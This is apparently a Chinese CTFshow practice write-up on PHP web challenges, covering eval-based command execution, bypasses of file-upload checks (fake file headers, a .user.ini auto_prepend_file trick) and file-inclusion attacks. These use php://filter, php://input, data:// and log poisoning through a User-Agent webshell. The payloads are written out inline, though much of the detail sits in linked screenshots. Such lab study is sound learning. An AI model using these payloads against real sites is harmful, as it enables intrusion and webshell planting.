目录

ctfshow-web刷题记录

ctfshow web刷题记录

RCE

第一题

eval代码执行 : 1、使用system 加通配符过滤

?c=system(“tac%20fl*”) ;

2、反字节执行      xxx

%20

echo + 反字节

https://i-blog.csdnimg.cn/direct/2533327c27ee4f3592c4b02f1af7385e.png

3、变量转移

重新定义一个变量 让他代替我们执行 https://i-blog.csdnimg.cn/direct/db180db9ec52403c88af9561b1c8cc19.png

4、伪协议玩法

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

或者直接写入木马 file_put_contents(11.php,"");

5、拷贝

?c=system(“cp fla* 1.txt”)

访问1.txt

复习完练习一个

代码执行

https://i-blog.csdnimg.cn/direct/b4d4ac8354ce4b49b80f9dfd4dc4e1d4.png

https://i-blog.csdnimg.cn/direct/575569ac55fb4b46afc4829b68b4c92e.png

当然还是可以使用伪协议

复习之

文件上传漏洞

ctfshow练习 https://i-blog.csdnimg.cn/direct/4c7d13f845f1405e9d5903ae112c1b29.png

看介绍是前端的验证 :

玩法 :欺骗前端验证 https://i-blog.csdnimg.cn/direct/2b10298f2f0947a2afc096a72538473a.png

使用gzl生成一个 https://i-blog.csdnimg.cn/direct/a8b8ce3471944df5b441205ad03bcb4d.png

改为 jpg后缀 之后上传 https://i-blog.csdnimg.cn/direct/7289e17a9de8426b84912b31b1e1efaf.png

https://i-blog.csdnimg.cn/direct/f78b6ed0657a40dab99b27c88c63d12f.png 知道密码之后如果木马是post方式的传输就能使用这个post口直接进行传输

2、 https://i-blog.csdnimg.cn/direct/32b9a1ed9ec645caac28d8d6c3190ca2.png

后端的验证要严密 : https://i-blog.csdnimg.cn/direct/13017c82459e4b428b88ce56b851f182.png

https://i-blog.csdnimg.cn/direct/d79c800cfa9f46c489f4622333ca0ea6.png 为了防止后端验证文件头 所以写个假的文件头 让它去验证

利用第一个的老套路居然上传成功了这是我没想到的 https://i-blog.csdnimg.cn/direct/0ac5ac089a8e49afb521736c8645c172.png

3、黑名单绕过 : https://i-blog.csdnimg.cn/direct/3bd429a6f8e5493098ec81bc9b11277b.png

我们上传的文件只有png能上传成功说明是后端的waf

改一下ini为png后缀一会再改名 .user.ini

写入 :

auto_prepend_file=shell.png

上传一个 木马文件 shell.png

记住在 /upload下执行命令

文件包含

主要涉及到文件的读取,写入,代码执行

1个题全部展示

文件的读取 : https://i-blog.csdnimg.cn/direct/74557888739e4ffe8fbe9a6ebd2b7b83.png

file=php://filter/read=convert.base64-encode/resource=flag.php

把这个base64解密就出来了 https://i-blog.csdnimg.cn/direct/0a68ceee4d324d0495bbb432b36e6b20.png

2、文件的写入 https://i-blog.csdnimg.cn/direct/eb2d88d9146d43a294d2a15c5e0a690b.png

换一个单词就能用 https://i-blog.csdnimg.cn/direct/820a0bb76cef475083c3e8343fa91a83.png

在post中写入就行 但是这个的条件是有 file_put_contents

这个好用:

php://input

POST ’)?>

文件的写入在ctf中非常麻烦所以不常用 同时上边文件的读取不知道 flag 的位置瞎猜也是非常难受 所以下边这个 命令执行非常牛x

3、命令执行

上边的写入其实就是命令的执行啊

php://input 加post就是这种 https://i-blog.csdnimg.cn/direct/7c44705d2e644e6d895f317ad6158fa1.png

写上之后就能执行命令了很强

再一个就是 data 协议 https://i-blog.csdnimg.cn/direct/44e2086b8daf42739f3f9699c18ac42d.png

https://i-blog.csdnimg.cn/direct/e564af17a38d419d8b514426e19d83bc.png 利用data协议实现代码执行

使用加密 https://i-blog.csdnimg.cn/direct/d2ca02bde47442bd922ed4d9974bcea4.png

还有一个就是 文件包含的唯一真神 只要看着一堆 waf 绕不过了 直接使用

非常不吃操作

只需要记住 不同2个中间件的日志

apache : /www/log/apache/access.log

nginx : /www/log/nginx/access.log

怎么判断是哪个? https://i-blog.csdnimg.cn/direct/68f777be922d4386bad586b6d0751a38.png

https://i-blog.csdnimg.cn/direct/cc10c48cbabb45cbac74957dafda54e9.png 根据报错发现我们的路径错误了 https://i-blog.csdnimg.cn/direct/125d0c6263694acf8a639772002d91b3.png

抓个包 改一下这个ua头信息为恶意的木马

https://i-blog.csdnimg.cn/direct/6e7afbaff7a14aa9b936b6734111112c.png 就成功注入了